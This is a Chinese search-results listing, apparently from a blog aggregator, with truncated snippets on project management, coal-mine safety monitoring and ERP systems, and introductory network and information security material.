  • 一、组织系统对项目的影响 1.1 组织治理与项目治理 1.2 组织结构形式 I 职能式组织(直线式组织) II 矩阵式组织 III 项目式组织 IV 复合型组织、项目联络员与项目协调员 1.3 管理要素 1.4 项目管理办公室PMO 二、...
  • 该系统采用MFC开发语言和基于GIS与组态软件开发技术,对目前的主从式监测管理系统进行了升级,对煤矿生产过程中的基本非安全因素可以进行全面地监控。该系统实现了分散煤矿信息采集的自动化,具有及时、高效、准确、...
  • 网络安全技术心得体会

    千次阅读 2021-01-08 15:20:37
    网络与信息安全技术心得体会 通过对网络安全这门课程的学习,我进一步了解了网络安全技术的相关知识。大致来说,所谓网络安全指的是对网络系统中各类软硬件和数据信息等提供保护屏障,确保数据信息不受到恶意侵入、...
  • 2018工控网络安全发展趋势分析

    千次阅读 2017-12-21 14:42:33
    2017年影响 工控信息安全 事件最集中爆发的年头之一。安全研究员发现并上报了数百个新漏洞,警告称工控系统和工艺流程中存在新威胁向量,提供了工业系统突发感染数据,并发现了定向攻击(例如, Shamoon 2.0 / ...
  • 文章探讨了如何在ERP模式下建立煤矿安全管理系统,通过建立系统实施目标,分析了煤矿企业和ERP的相关因素,最终实现了煤矿企业安全管理系统中ERP的应用,该系统的实施有效地提高了煤矿企业的社会效益和经济效益,降低了...
  • 信息安全导论复习(1-5章)

    万次阅读 2017-06-01 01:32:54
    1.1.1 信息化对我国的重要影响 1.1.2 信息化发展对信息安全的需求 1.2 信息安全的基本属性 1.2.1 保密性 1.2.2 完整性 1.2.3 可用性 1.3 信息安全概念的演变 1.3.1 通信保密 1.3.2 计算机安全的信息系统安全 1.3.3 ...
  • 网络与系统安全概述 网络安全基础知识 计算机安全 保护计算机系统,使其没有危险,...2、网络安全简单的说是在网络环境下能够识别和消除不安全因素的能力。 网络系统安全的基本需求 1、可靠性 2、可用性 3、保密性 4...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 16,099
精华内容 6,439
关键字:

安全效益的影响因素